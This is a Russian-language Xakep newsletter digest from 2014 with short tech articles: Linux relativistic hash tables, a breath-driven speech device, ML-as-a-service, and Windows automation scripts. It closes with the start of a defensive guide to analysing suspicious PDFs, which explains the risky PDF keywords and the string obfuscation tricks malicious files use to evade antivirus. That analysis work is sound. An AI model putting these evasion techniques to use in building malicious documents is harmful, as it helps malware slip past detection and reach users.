Отправляет email-рассылки с помощью сервиса Sendsay

Хakep_daily

  Все выпуски  

Google <<закручивает гайки>> на рынке Android-устройств *


PDA   подписка    wiki   bugtrack   статьи    видео   блог   форум   поиск    друзья   






Релятивистские хэш-таблицы в ядре Linux 3.17
2014-09-26 14:44 Denis Mirkov

Хэш-таблицы чрезвычайно активно используются в ядре Linux, чтобы увеличить скорость доступа к различным объектам. Хэш-таблицы намного увеличивают скорость доступа по сравнению с обычным линейным поиском. Но всегда остаётся возможность для оптимизации. В последние годы немало сделано для этого. В частности, реализован метод read-copy-update (RCU), позволяющий добавлять и удалять ячейки из хэш-таблицы без блокировки доступа к ней.

Ещё один метод улучшения производительности — изменение размера хэш-таблицы. Скорость поиска объекта напрямую зависит от размера таблицы. Поэтому, если у нас есть большая таблица с малым количеством элементов, то мы впустую расходуем память и жертвуем производительностью. Но ничего не поделаешь: ядро Linux до сих пор не позволяло изменить размер таблицы после её первоначального создания.

Ещё три года назад академический исследователь Джош Триплетт (Josh Triplett) из университета штата Портленд опубликовал научную работу, а затем и защитил диссертацию о релятивистских хэш-таблицах, размер которых можно менять в процессе работы. Триплетт даже опубликовал код для ядра Linux.

Уникальная особенность релятивистских хэш-таблиц — изменение размера без блокировки доступа к ним. В процессе многоступенчатого перестроения таблицы (сжатия или расширения) сохраняется совместный доступ ко всем ячейкам. Название «релятивистский» объясняется тем, что при совместном доступе разные CPU «видят» разное состояние хэш-таблицы, которая в этот момент осуществляет своё перестроение.

Прошло три года, и в ядре Linux 3.17 наконец-то появятся релятивистские хэш-таблицы. Разработчик Томас Граф (Thomas Graf) предложил патч для сетевой подсистемы управления сокетами netlink. Это только начало. Поскольку соответствующий алгоритм уже проник в ядро Linux, то в будущем его можно использовать для управления и другими хэш-таблицами. Всё это позволит высвободить память и увеличить производительность ядра Linux.

Что ж, лучше поздно, чем никогда.

Алгоритм сжатия таблицы

003

Алгоритм расширения таблицы

004



Преобразуем дыхание в речь
2014-09-26 16:10 Denis Mirkov

16-летний индийский школьник Арш Шах Дилбаги aka Robo сконструировал устройство, которое может вернуть дар речи миллионам парализованных людей, в том числе физику Стивену Хокингу (хотя у Стивена уже есть свой синтезатор другой конструкции). По оценкам ВОЗ, примерно 1,4% мирового населения вынуждены использовать альтернативные и вспомогательные методы коммуникации и специальные приборы для этого.

Проблема только в том, что подобные приборы очень дороги. Не каждый может позволить купить устройство ценой в тысячи или десятки тысяч долларов. Для сравнения, устройство Дилбаги под названием TALK состоит из микроконтроллера Arduino за $25 с динамиком, пластиковой коробки-корпуса, MEMS-микрофона и ещё нескольких недорогих деталей. Всё вместе обойдётся не дороже $80.

003

Принцип работы этого прибора основан на том, что даже парализованный человек может контролировать своё дыхание: дышать чаще или глубже.

С помощью MEMS-микрофона устройство преобразует дыхание человека в последовательность точек и тире. Микроконтроллер считывает эту последовательность и синтезирует буквы по азбуке Морзе. При распознавании отдельных слов активируется синтезатор речи.

Синтезатор говорит 9 голосами, на выбор, в зависимости от возраста и пола пациента.



Машинное обучение для домохозяек
2014-09-26 17:18 Степа Ильин

 

Машинное обучение — тренд

Когда-то давно я рассказывал, как проходил курс по машинному обучению на Coursera. Курс ведет Andrew Ng, который объясняет все настолько простыми словами, что довольно сложный материал поймет даже не самый усердный студент. С тех пор тема машинного обучения мне стала близка, и я периодически смотрю проекты как в области Big Data (читай предыдущую колонку), так и в области машинного обучения.

Помимо огромного количества стартапов, которые где-то внутри себя используют алгоритмы машинного обучения, уже сейчас доступны несколько сервисов, предлагающие машинное обучение в виде сервиса! То есть они предоставляют API, которым ты можешь воспользоваться в своих проектах, при этом вообще не вникая в то, как осуществляется анализ и предсказание данных.

Google Prediction API

Одним из самых первых предлагать Machine Leaning as a Service стал Гугл! Уже довольно долгое время любой желающий может воспользоваться Google Prediction API (дословно «API для предсказаний»). До определенного объема данных использовать его можно абсолютно бесплатно, просто заведя аккаунт на Google Prediction API. О каких предсказаниях идет речь? Задача может быть разная: определить будущее значение некоего параметра на базе имеющихся данных или определить принадлежность объекта к какому-то из типов (например, язык текста: русский, французский, английский).

После регистрации у тебя появляется доступ к полноценному RESTful API, на базе которого можно построить, скажем, рекомендательную систему, детектирование спама и подозрительной активности, анализа поведения пользователей и многое другое. Уже успели появиться интересные проекты, построенные на базе интенсивного использования Google Prediction API, например Pondera Solutions, который использует машинное обучение от Гугла для построения системы антифрод.

В качестве эксперимента можно взять готовые модели данных: идентификаторов языка для построения системы, определяющих, на каком языке написан входящий текст, или идентификаторов настроения, чтобы автоматически определить тональность комментариев, которые оставляют пользователи. Думаю, в будущем мы расскажем о Google Prediction API подробнее.

BigML

Сегодня же хочу коснуться другого похожего проекта, который попался мне на глаза относительно недавно, — BigML. По сути, он предоставляет ровно тот же самый Rest API для собственного ML-движка, но с одним важным для новичка плюсом — наличием довольно наглядного интерфейса. А последний факт сильно упрощает задачу старта, когда нужно с нуля разобраться, что к чему.

Разработчики сделали все, чтобы с системой могла справиться домохозяйка. После регистрации к твоим услугам несколько примеров исходных данных, в том числе часто используемый в учебниках набор данных «Ирисы Фишера», который считается классикой для решения задачи по классификации. В набор описывается 150 экземпляров цветка ириса трех разных видов, с описанием характеристик. На базе этих данных можно построить систему, которая будет определять принадлежность цветка к одному из видов по введенным параметрам.

Эксперимент

Все действия выполняются в понятной админке (не стану описывать нюансы, все будет предельно доступно).

  1. Выбираем CSV-файл, в котором хранятся строчки, описывающие характеристики разных видов цветков, как источник данных (Source).
  2. Далее используем эти данные для построения набора данных (Dataset), указав, что предсказывать нужно будет тип цветка. BigML автоматически распарсит файл и, проведя анализ, построит различные графики, визуализируя данные.
  3. На базе этого Dataset’а одним кликом строится модель, на которой будут основываться предсказания. Причем BigML опять же визуализирует модель, объясняя логику ее работы. Можно даже экспортировать результат в виде скрипта для Python или любого другого языка.
  4. После того как модель готова, появляется возможность делать предсказания (Predictions). Причем делать это в разных режимах: сразу задать все параметры цветка или же отвечать на вопросы системы, которая, исходя из ситуации, будет спрашивать только то, что ей нужно.

То же самое можно было бы провернуть и без UI, а общаясь с BigML через консольное приложение BigMLer или через REST API, общаясь из консоли обычным curl’ом.

BigML визуализирует входящий набор данных

BigML визуализирует входящий набор данных

Две главные задачи

Внутри BigML и Google Prediction API ничего сверхъестественного нет. И неглупые разработчики смогут реализовать аналогичные движки самостоятельно, дабы не платить сторонним сервисам (и не выгружать им данные, которые часто нельзя выгружать).

И все-таки сервисы решают как минимум две очень важные задачи. Во-первых, они способны буквально за вечер дать человеку понять, что машинное обучение — это не только круто и трендово, но и во многих ситуациях довольно просто. А во-вторых, с их помощью можно быстро набросать прототип новой фичи для своего приложения или сервиса и проверить идею практически без трудозатрат.



Отдельная дорожка для пешеходов-зомби
2014-09-26 17:30 Denis Mirkov

Наверняка, каждому приходилось видеть на улице пешехода, который идёт, уткнувшись в экран мобильного телефона, набирая текст на ходу или увлечённо разговаривая. В любом случае, человек абсолютно ничего не замечает вокруг. Он может спокойно перейти дорогу на красный свет или врезаться куда-нибудь. По аналогии с велодорожками, администрация китайского города Чунцин выделила отдельную полосу на тротуаре для таких «зомби».

На информационном стенде с надписью «Первый в Китае тротуар для мобильных телефонов» указана схема движения. Итак, в правой части пешеходной дорожки запрещено пользоваться мобильным телефоном. Это «быстрая» полоса движения. Как только человек достал телефон — он, судя по всему, обязан перейти через двойную сплошную линию на другую часть тротуара («медленная полоса»). Там организовано двустороннее движение. Зомби могут двигаться друг за другом по правому краю своей полосы, не боясь врезаться во встречного пешехода.

003

Судя по всему, китайцы взяли за образец точно такую же пешеходную разметку в Вашингтоне, временно сделанную на 18-й улице для съёмок передачи Mind Over Masses канала National Geographic Channel.

004



Как сделать жизнь в Windows проще
2014-09-26 18:30 Денис Колисниченко

В этой небольшой статье мы поговорим о том, как сделать вещи проще и быстрее. Например, как написать сценарий, позволяющий разложить по папкам загруженные файлы, или как создать скриншот и сразу опубликовать его в интернете.

1. Пакетное преобразование и переименование графических файлов

Данный совет подойдет всем, кто часто работает с графическими файлами разных форматов. Лично мне по роду деятельности приходится часто преобразовывать графические файлы из одного формата в другой, например, скриншоты создаются в формате PNG, а в типографию нужно предоставить файлы в формате TIFF или BMP. По одному преобразовывать несколько сотен файлов — занятие неблагодарное. Поэтому сейчас мы поговорим о программе FastStone Image Viewer, которая не только отличный просмотрщик, но и умеет выполнять много полезных действий над файлами, в том числе пакетное преобразование, изменение размера и переименование графических файлов.

Использовать программу предельно просто. Запусти ее и перейди в каталог, где находятся файлы, которые нужно преобразовать. Выдели нужные файлы (или используй <Ctrl + A> для выделения всех файлов), нажми для отображения диалога «Пакетное преобразование/переименование» (рис. 1). Выбери формат файла, в который нужно преобразовать. В данном случае все мои файлы в формате PNG, а преобразовываю я их в JPG. Если выключить параметр «Выходная папка», то файлы будут помещены в ту же папку, где находятся исходные файлы. Если этот параметр включен, то файлы будут помещены в папку, указанную в нем. Кнопка «Установка» позволяет установить параметры выходного графического формата, например качество для JPEG или сжатие для TIFF.

Рис. 1. Диалог «Пакетное преобразование/переименование»

Рис. 1. Диалог «Пакетное преобразование/переименование»

Для изменения других параметров, например размеров изображений, нажми кнопку «Дополнительно». В появившемся окне можно будет настроить параметры выходных файлов, например размер (который можно задать как в пикселях, так и в процентах), параметры поворота и другие (рис. 2). Очень часто используется изменение размера, поворот (для фотографий) и водяной знак (программа позволяет наложить водяной знак, чтоб хоть как-то защитить изображения от кражи при публикации в интернете).

Рис. 2. Дополнительные параметры преобразования

Рис. 2. Дополнительные параметры преобразования

Нажми «ОК» для возврата к предыдущему окну. Обрати внимание на параметр «Изменять настройки»: если он выключен, установленные ранее параметры не будут применены. Для начала преобразования нажми кнопку «Старт». По завершении преобразования ты увидишь окно-отчет, которое я не привожу из экономии места в журнале. Для пакетного переименования используется вкладка «Пакетное переименование» (быстрый доступ к которой можно получить с помощью ). Далее все просто: выбери файлы (если они были выделены перед вызовом диалога, то они уже выбраны), установи шаблон и нажми «Старт». Кнопка «?» напротив шаблона объясняет, какие подстановки можно использовать в шаблоне.

Рис. 3. Пакетное переименование

Рис. 3. Пакетное переименование

Кроме программы Fast Stone Image Viewer, можно порекомендовать программу VSO Image Resizer — она также позволяет производить пакетное изменение размера, а что касается шаблонов имен при переименовании файлов, то тут мне программа VSO Image Resizer даже больше нравится. Например, можно использовать шаблон %F [%P] для получения имени вида «исходное имя [разрешение]» (3-1.png [800x600]) — полезно, когда нужно хранить несколько версий одной картинки, но с разными разрешениями.

2. Пакетное преобразование кодировки файлов в UTF-8

Для пакетного преобразования кодировки файлов (например, 1251) в UTF-8 можно использовать программу UTFCast Express. Просто выбери исходный каталог (Source directory) и целевой каталог (Target directory), а затем нажми кнопку Start.

Рис. 10. Программа UTFCast Express

Рис. 10. Программа UTFCast Express

3. Сортировка файлов в папке своими руками

У всех нас есть каталог Downloads, в котором чего только нет. Каждый раз сортировать его — лень. Поэтому предлагаю написать сценарий на языке командной оболочки Windows, который будет выполнять сортировку файлов за нас. Сценарий — это просто набор команд. В нашем случае это будут команды создания необходимых каталогов и перемещения файлов в зависимости от их типа в разные каталоги. Предлагаю создать каталоги archives (сюда будут перемещены архивы), music (сюда будет перемещена музыка), video (для видео), programs (EXE-файлы), photos (исключительно для JPEG-файлов), images (остальные картинки), iso (для ISO-образов), docs (документы). Torrent-файлы предлагаю удалять вообще — от них толку мало. Названия каталогов могут быть другими, «по образу и подобию» ты можешь написать собственный сценарий, адаптировав его под свои нужды.

Итак, не будем тянуть, а сразу приступим к разработке сценария (команда rem — это комментарий, она ничего не делает). Чтобы не увеличивать размер сценария, для каждой группы файлов я привел не все типы, но в большинстве случаев и этого будет вполне достаточно. К сожалению, команда move не позволяет перемещать сразу несколько групп файлов, то есть ты не можешь написать «move .pdf,.doc docs». Чтобы не писать несколько последовательных команд move, что не очень красиво, мы используем цикл for для обработки списка типов файлов. Сценарий нужно назвать order.bat и поместить в каталог Downloads. Потом запусти сценарий — дважды щелкни на нем в окне проводника. Код сценария order.bat:

rem Проверяем существование и создаем необходимые каталоги
if not exist "archives" md "archives"
if not exist "iso" md "iso"
if not exist "music" md "music"
if not exist "video" md "video"
if not exist "programs" md "programs"
if not exist "photos" md "photos"
if not exist "images" md "images"
if not exist "docs" md "docs"

rem Перемещаем архивы часто используемых типов в arhives
for %%f in (*.zip,*.gz,*.tgz,*.rar) do move "%%f" "archives"

rem ISO-файлы — в каталог ISO
move *.iso iso

rem Видео — в каталог video
for %%f in (*.avi,*.mov,*.mp4,*.mkv,*.3gp) do move "%%f" "video"

rem Музыка (в основном это MP3-файлы)
move *.mp3 music

rem Программы и фото
move *.exe programs
move *.jpg photos

rem Изображения
for %%f in (*.png,*.bmp,*.gif,*.tiff) do move "%%f" "images"

rem Документы
for %%f in (*.pdf,*.txt,*.doc,*.docx,*.xls) do move "%%f" "docs"

rem Удаляем торрент-файлы
del *.torrent

После такой уборки в каталоге Downloads станет значительно просторнее. В нем останутся лишь те файлы, которые не были затронуты сценарием. Не следует пытаться изменить его так, чтобы он обрабатывал вложенные папки в каталоге Downloads: ведь в них обычно находятся связанные группы файлов. Например, когда загружаешь торрент с программой, он помещается в отдельный каталог, в котором находится программа и необходимые ей файлы.

4. Пакетное переименование любых файлов

Представим, что ты пишешь какой-то научный труд и у тебя собралось много файлов вида 5-1.bmp, 5-2.bmp и так далее. Все понятно: это изображения к пятому разделу (главе, параграфу…). Но потом нумерация разделов изменилась, и раздел 5 стал разделом 7. Переименовывать файлы вручную не очень удобно. Открой командную строку и перейди в каталог, в котором находятся твои файлы, например:

cd c:\test

Далее введи команду

ren 5-?.png 7-?.png

Если в каталоге есть файлы вида 5-??.png (5-10, 5-11), тогда понадобится еще команда:

ren 5-??.png 7-??.png

Сложнее ситуация, когда раздел 5 стал разделом 12, например. Чтобы ее упростить, я рекомендую изначально использовать 0 при нумерации файлов, например 05-01.png, 05-02.png, …, 05-21.png. Тогда вопрос переименования решается одной командой:

ren 05-??.png 12-??.png

5. Автоматизация создания скриншотов

Представим, что тебе нужно создать скриншот и опубликовать его в интернете, чтобы была возможность вставить ссылку на него где-то на форуме. Последовательность действий примерно такая: нажать (или <Alt + Print Screen>, или <Fn + Alt + Print Screen> на некоторых ноутбуках), вызвать Paint (или другой графический редактор), нажать <Ctrl + V> для вставки скриншота, нажать <Ctrl + S> для сохранения файла, затем открыть браузер, перейти на сайт файлообменника, нажать кнопку Upload, выбрать файл… Не слишком ли много действий для такой простой задачи?

Для ее автоматизации нужно установить клиент Dropbox версии 2.4 или более новой. Затем нажми одну из комбинаций , <Alt + Print Screen>, <Ctrl + Print Screen>, <Ctrl + Alt + Print Screen> для создания скриншота. Комбинации , <Alt + Print Screen> создадут скриншот всего экрана или активного окна соответственно и поместят файл в каталог Dropbox (после синхронизации файлы станут доступны в интернете). А аналогичные комбинации с не только создадут скриншот и поместят его в каталог Dropbox, но и скопируют на него ссылку в буфер обмена. Все, что тебе осталось сделать, — это перейти на форум или другой сайт и вставить ссылку в форму создания/редактирования сообщения.

Есть вторая ситуация, требующая автоматизации. Представим, что тебе нужно сделать скриншот веб-страницы. Одного нажатия <Alt + Print Screen> будет недостаточно, особенно если веб-страница не помещается на одном экране. Что делать? Несколько нажатий <Alt + PrintScreen>, а потом мучения в графическом редакторе? Это не наш вариант. Я предлагаю установить расширение Screen Capture Plugin для браузера Chrome. Использовать его предельно просто: нажми кнопку расширения и выбери, какой скриншот нужно сделать (рис. 4). После чего скриншот будет отображен в окне браузера и его нужно будет сохранить, нажав соответствующую кнопку.

Рис. 4. Расширение Screen Capture Plugin для браузера Chrome

Рис. 4. Расширение Screen Capture Plugin для браузера Chrome

6. Удаленное управление торрентом с андроид-устройства

Торрент-клиентом uTorrent можно управлять удаленно — с планшета или смартфона. Это означает, что ты можешь сидеть где-то в кафе и управлять закачками на своем домашнем компе. Тема изъезжена, и многим покажется, что это баян. Но это не так. Недавно я попытался реализовать все на своем компе. И у меня ничего не получилось, поскольку архив с веб-интерфейсом был удален с сайта utorrent.com. Пришлось искать его на просторах интернета. В результате я выложил его на своем сайте. Если ты уже раньше настраивал удаленное управление торрент-клиентом, можешь воспользоваться этим файлом. Дальше ничего нового для тебя не будет, и можешь переходить к следующему разделу статьи.

Рис. 5. Настройка uTorrent

Рис. 5. Настройка uTorrent

А для тех, кто не знает, расскажу, как все организовать. Упомянутый файл нужно, не распаковывая (!), поместить в каталог C:\Users{имя учетной записи}\AppData\Roaming\uTorrent.

Далее нужно выбрать команду меню «Настройки -> Настройки программы», в разделе «Веб-интерфейс» включить параметр «Использовать веб-интерфейс», изменить пароль администратора (можно и имя пользователя). Также желательно включить альтернативный порт 8080, так как со стандартным портом у меня возникло небольшое недоразумение (рис. 5). На этом настройка uTorrent завершена. Открой браузер на планшете и введи URL: http://IP-адрес-компа:8080/gui/. Веб-интерфейс управления торрент-клиентом изображен на рис. 6. В локальной сети все будет работать нормально, а чтобы ты мог управлять своими закачками извне, нужно также настроить брандмауэр на твоем домашнем роутере и самом компе с uTorrent (разрешить входящие извне на порт 8080).

Рис. 6. Веб-интерфейс

Рис. 6. Веб-интерфейс

7. Создаем полезные ярлыки

Иногда полезно создать на рабочем столе ярлыки вызова разных системных действий, например выключение компьютера, перезагрузка, выход из системы, сон. Особенно меня поймут пользователи Windows 8, где, если не установить программы вроде Classic Shell, выключение обычного компа (не планшета) или его перезагрузка напоминает танцы с бубном.

Необходимые ярлыки можно создать вручную. Но это неинтересно. Ведь если речь в статье идет об автоматизации, то и эту затею нужно автоматизировать. Есть очень полезная программа — Handy Shortcuts, позволяющая с помощью одного клика (для каждого ярлыка) создать все необходимые тебе ярлыки. Всего программа может создать 20 полезных ярлыков, совершенно бесплатна и не требует установки — просто скачай архив с программой и запусти ее (рис. 7).

Рис. 7. Программа Handy Shortcuts

Рис. 7. Программа Handy Shortcuts

Лично я рекомендую создать следующие ярлыки: Shutdown и Restart (вкладка Basic) и Safely Remove Hardware (вкладка Advanced). Первый ярлык — завершение работы системы, второй — перезагрузка, третий — безопасное отключение сменных устройств (USB-диски, флешки и прочее). Также программа позволяет создать ярлыки включения/выключения брандмауэра, очистки буфера обмена, открытия диспетчера устройств и другие. Программа работает в Windows Vista, 7 и 8 (поддерживаются как 32-, так и 64-битные версии).

8. FTP-сценарии: автоматизация передачи файлов по FTP

Сценарии командной строки очень полезны, но ими часто пренебрегают — то ли от незнания, то ли от лени. А автоматизировать с их помощью можно все что угодно. Иногда бывает нужно периодически загружать/выгружать какие-то файлы с/на FTP. Запустив команду ftp с параметром -s, можно задать текстовый файл, содержащий FTP-команды, которые выполнит программа ftp.exe.

Создай файл upload.bat. Мы его будем использовать для загрузки всех txt-файлов из локального каталога c:\test в удаленный каталог tmp нашего FTP-сервера. В этот файл помести всего одну строчку:

ftp -n -s:commands.ftp

Параметр -n запрещает автоматический вход на сервер (входом будем управлять вручную), а второй задает текстовый файл с командами FTP-клиента, которые будут или выполнены локально, или переданы серверу (в зависимости от команды). В нашем случае commands.ftp следующий:

open сервер
USER пользователь
пароль
binary
cd tmp
lcd c:\test
prompt
mput *.txt
bye
Рис. 8. Наш сценарий в действии

Рис. 8. Наш сценарий в действии

Обрати внимание: пароль указывается в отдельной строке после указания имени пользователя. Команда binary включает двоичный режим обмена информацией. Команда cd изменяет каталог на FTP-сервере, lcd — на локальном компе. Команда prompt отключает режим подтверждений для команд mput (множественная загрузка файлов на сервер), mget (множественная загрузка файлов с сервера). Команда bye завершает работу сценария.

Данный сценарий легко переделать в сценарий, загружающий файлы с сервера. Для этого достаточно команду mput заменить на mget.

Я привел довольно тривиальный пример. Но ты можешь существенно его расширить. Никто тебе не мешает добавить перед вызовом команды ftp команды, создающие архив каталога БД. Например:

rar a c:\test\backup.rar @backup.lst

Эта команда создаст архив backup.rar по всем файлам, указанным в текстовом файле backup.lst. После этого в commands.ftp нужно изменить mput *.txt на mput *.rar.

9. Автоматизация рутинных действий

Интерфейс Windows очень удобен: одни окна да кнопки. Пользователю нравится. А вот администратору — не очень. Часть задач можно решить с помощью скриптов, которые выполняются в консоли, но для некоторых приходится каждый день нажимать одни и те же кнопки, открывать одни и те же окна. Для автоматизации таких рутинных задач используются специальные программы вроде AutoIt или xStarter. Программы запоминают последовательность выполненных действий и позволяют запускать ее, когда вам будет нужно.

10. Транслитерация имен файлов

На дворе 2013 год, а мой не очень современный автомобиль не умеет читать MP3. Поэтому я решил купить американо-китайский (написано, что сделано в США, но все мы знаем, где делают такие девайсы) блок, способный читать MP3-файлы с флешки. Устройство меня вполне устраивает, но у него есть одна не очень хорошая особенность. Как ни странно, оно нормально работает с русскими ID3-тегами и правильно выводит их на монитор, но не умеет читать файлы с флешки, если в них есть русские буквы. Устройство просто не видит такие файлы. Поэтому перед помещением их на флешку приходится их переименовывать, а это довольно рутинная задача. Для ее решения я нашел простенькую программу RusToEng Renamer. Использовать ее очень легко (рис. 9). Из меню «Выбрать» выбери команду или «Файлы» (для выбора файлов), или «Папка» (для выбора папки, которая содержит файлы с русскоязычными именами). После того как файлы будут добавлены в список, нажми кнопку «Переименовать». Вот и все. Программу можно закрыть.

Рис. 9. Программа RusToEng Renamer

Рис. 9. Программа RusToEng Renamer

Для более сложного переименования, особенно MP3-файлов, лучше использовать программуFileRenamer. Однако в моем случае возможностей RusToEng Renamer мне оказалось вполне достаточно.

11. Менеджеры пакетов для Windows

Одно из преимуществ Linux (да и почти любой UNIX-системы) — встроенные менеджеры пакетов, позволяющие автоматизировать установку, удаление, а также обновление софта. Автоматизация установки и удаления заключается в обработке зависимостей. Например, если программа А зависит от программы Б, то при попытке установки программы А будет также установлена и программа Б. Аналогично при удалении программы Б будет удалена и программа А, поскольку она зависит от Б.

Менеджеры пакетов также позволяют контролировать наличие обновлений программ. При желании ты можешь обновить весь установленный софт одной командой. При этом не нужно отдельно отслеживать, есть ли обновления для той или иной программы. Если они есть, они будут установлены.

С недавнего времени такие менеджеры стали доступны и для пользователей Windows. К сожалению, рассмотрение подобных менеджеров — тема для отдельной статьи, а я лишь подскажу, в каком направлении копать. Пакетный менеджер Chocolatey позиционируется как apt-get для Windows, также можно использовать Npackd от Google. Microsoft тоже выпустила собственный менеджер NuGet.

12. Growl: специально для маководов

Growl — универсальная глобальная система оповещения пользователя в OS X. Используется многими программами, например для вывода уведомлений о новом почтовом сообщении, о низком заряде батареи, о вставке USB-устройства. Пользователи OS X от нее в полном восторге и сетуют, что, когда приходится работать в Windows, ее им очень не хватает. С недавнего времени Growl появился и для Windows

Growl — штука полезная, но нужно, чтобы приложения его поддерживали. Среди них: Pidgin, Firefox, Thunderbird, uTorrent, WinAMP, Outlook и многие другие.

Рис. 11. Growl для Windows

Рис. 11. Growl для Windows

13. Launchy: быстрый запуск программ

Есть небольшая, но удобная программа, благодаря которой ты забудешь и главное меню, и ярлыки на рабочем столе, и файловый менеджер. Просто установи программу и начинай вводить что-то, а она сама предложит допустимые варианты — или запустить программу, или открыть файл. Не нужно блуждать по дебрям меню, панели инструментов или диску. За тебя все сделает программа. Сначала не понимаешь, зачем она нужна, но, поработав с ней день, уже не можешь отказаться.

Рис. 12. Программа launchy

Рис. 12. Программа launchy

14. Вставка текста без форматирования

Очень часто при копировании текста в Word, браузере или других программах копируется и ненужное оформление. Существует несколько способов решить эту проблему. Один из них — программа PlainPaste. Она не требует установки, а при запуске просто сворачивается в трей. Обычное нажатие <Ctrl + V> вставляет текст как есть, а двойное (нужно быстро дважды нажать <Ctrl + V>) — текст без форматирования. Также функция вставки текста без форматирования есть у Punto Switcher: нужно нажать <Ctrl + Win + V>.


На этом все. Надеюсь, ты найдешь, как применить приведенные рецепты на практике.



Ищем эксплойты в PDF-документах своими силами
2014-09-26 19:30 Джон Сноу

Стоит засветить свой почтовый адрес в Сети, как сразу ты становишься просто потрясающе удачливым человеком. Почти каждый день начинают приходить письма о том, что ты претендуешь на какое-то огромное наследство или выиграл в лотерею. Добрые люди присылают PDF’ки со сверхсекретными данными, и очень часто даже антивирусы на них не ругаются. Поэтому, чтобы окончательно решить, стоит ли открывать очередной «секретный отчет по Сирии», придется провести собственное расследование.

WARNING

Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.

Многообещающий аттач

Как-то раз, приводя в порядок почтовый ящик и удаляя нежелательную корреспонденцию, я наткнулся на несколько писем с вложением, якобы от британского подразделения Google (правда, отправленных почему-то с китайских серверов), с очередным заманчивым предложением. Собственно, внимание привлекли не сами письма, а то, что они были с вложением в виде PDF-файла. «Вот китайские друзья! Вот молодцы! Прислали мне 0-day», — подумал я. И сразу же полез проверить файл на virustotal — вдруг это какое-то старье. Подумав, сервис ответил, что файл абсолютно нормальный, — ни один антивирус не имел к нему никаких вопросов. «Что-то здесь не так. Не могли же мои китайские друзья так меня подвести?» Развеять сомнения можно было только одним способом — взять и исследовать файл самому. Результатом и полученными знаниями я и хотел бы с тобой поделиться.

PDF-формат

Прежде чем начать, давай кратко рассмотрим формат PDF-документов. PDF-файлы состоят в основном из объектов, которые бывают восьми типов: boolean-значения; числа; строки; имена (Names); массивы (упорядоченный набор объектов); словари (Dictionaries) — коллекция элементов, индексируемых по имени; потоки (Streams) — обычно содержащие большой объем данных; Null-объекты.

Каждый PDF-документ должен начинаться с заголовка, который идентифицирует его как PDF-файл и включает в себя номер версии: %PDF-1.5. Заканчиваться файл также должен определенным образом — сигнатурой %%EOF.

Формат PDF-файла

Формат PDF-файла

После заголовка идут объекты. Каждый объект начинается с номера ссылки, номера версии и ключевого слова obj. За ним располагается контейнер объекта, заключенный между символами << и >>. Заканчивается объект ключевым словом endobj. Чтобы было понятней, приведу пример:

1 0 obj
<<
/Type /Catalog
/Outlines 2 0 R
/Pages 3 0 R
>>
endobj

Данный объект начинается с номера ссылки — 1, номера версии — 0 и ключевого слова obj. Затем идет контейнер объекта (между символами << и >>). Заканчивается все ключевым словом endobj. Контейнер может состоять из различных объектов. Наиболее широко распространенным является словарь (dictionary), представляющий собой последовательность пар «ключ — значение», заключенных в скобки << и >>. Объект dictionary — это ассоциативная таблица, содержащая пары объектов, известных как записи. В приведенном выше примере Type — это ключ, а /Catalog — значение.

Любой объект в PDF-файле может быть отмечен как косвенный (indirect). Это дает ему уникальный идентификатор, с помощью которого остальные объекты могут ссылаться на него. Например, ключ /Outlines указывает на косвенный объект 2 0.

Еще один важный объект, входящий в состав PDF-файла, — это поток (Stream), который, как String, представляет собой последовательность байт. Stream включает в себя Dictionary, за которым следуют от 0 байт данных, заключенных между ключевыми словами stream иendstream. Поток, в отличие от строки, может иметь неограниченную длину. Одна из опциональных записей, которая может быть в Dictionary потока, — Filter. Filter — это значение, которое указывает, надо ли распаковывать или расшифровывать данные потока. В PDF-файлах используется множество алгоритмов сжатия и шифрования, таких как: FlateDecode (основанный на DEFLATE или ZIP-алгоритме), DCTDecode (фильтр, основанный на JPEG-стандарте) и другие.

JavaScript — еще один из часто встречающихся объектов в PDF-файле. Движок JavaScript от Adobe частенько страдает от различных уязвимостей, поэтому все, что надо злоумышленнику для успешной эксплуатации, — это создать специальный скрипт, который бы использовал очередную уязвимость в движке. Объект JavaScript обычно выглядит следующим образом:/JavaScript /JS java_script_code. Переменная java_script_code может представлять непосредственно сам код или быть косвенным объектом, ссылающимся на другой JavaScript-код.

JavaScript указывает на косвенный объект

JavaScript указывает на косвенный объект

Наиболее интересные «поля»

Как мы выяснили, PDF-файл состоит из заголовка, объектов, таблицы перекрестных ссылок (для определения местоположения объектов) и трейлера. С точки зрения охоты за эксплойтами самыми интересными для нас строками будут:

  • /OpenAction и /AA (Additional Action) определяют скрипт или действие, запускаемое автоматически;
  • /Names/AcroForm/Action также могут устанавливать и запускать скрипты или действия;
  • /JavaScript задает JavaScript-код для выполнения;
  • /GoTo* меняет отображение на указанное место внутри исходного или другого PDF-файла;
  • /Launch запускает программу или открывает документ;
  • /URI обращается к ресурсу по его URL;
  • /SubmitForm и /GoToR могут отправлять данные на заданный URL;
  • /RichMedia используется для встраивания Flash в PDF;
  • /ObjStm может прятать объекты внутри Stream’a.

Однако при их поиске не стоит забывать про возможность обфускации с помощью hex-кодов, при которой, например, /JavaScript может превратиться в /J#61vaScript. Также очень часто прибегают к различным трюкам со строками, чтобы усложнить жизнь антивирусам и исследователям. В нормальном виде каждая строка должна располагаться внутри круглых скобок: /URI (http://xakep.ru). Однако строку можно перенести на несколько, добавив бэкслеш после каждой строки:

/URI (h\
ttp://xakep.ru

Естественно, количество переносов не ограничено, так что ничто не мешает записать строку в «столбик». Помимо этого, можно воспользоваться восьмеричным представлением символов и получить результат вида: /URI (\150ttp://xakep.ru). Или, если перевести все символы: /URI (\150\164\164\160\163….). Строки также можно представить в шестнадцатеричном виде /URI <687474703a2f2f78616b65702e7275>. В таких строках шестнадцатеричные числа можно разделять пробелами (<68 74 74 70…>), причем количество этих пробелов не ограничено. Еще один хитрый способ модификации строк — это шифрование. Тебе когда-нибудь встречался PDF-документ, из которого нельзя было скопировать текст или который нельзя было распечатать? Если так, то это как раз и был тот самый зашифрованный документ. В таком документе зашифровываются все строки и потоки, а сами объекты остаются незашифрованными. Эти моменты тоже придется учитывать при ручном анализе PDF-файлов, потому что такие приемы часто применяются для создания полиморфных форм одного зараженного PDF.

Пример зашифрованной строки

Пример зашифрованной строки

Инструментарий

Для исследования PDF-файлов пригодятся следующие инструменты:

  • PDFtk — кросс-платформенная программа для работы с PDF-файлами, позволяющая проводить декомпрессию их сжатого контента;
  • PDFiD — позволяет сканировать файл на наличие определенных ключевых слов, позволяя сразу выяснить, используется ли в PDF-файле JavaScript или нет;
  • PDF-parser и pdfwalker производят разбор файла, позволяя установить все элементы, из которых он состоит;
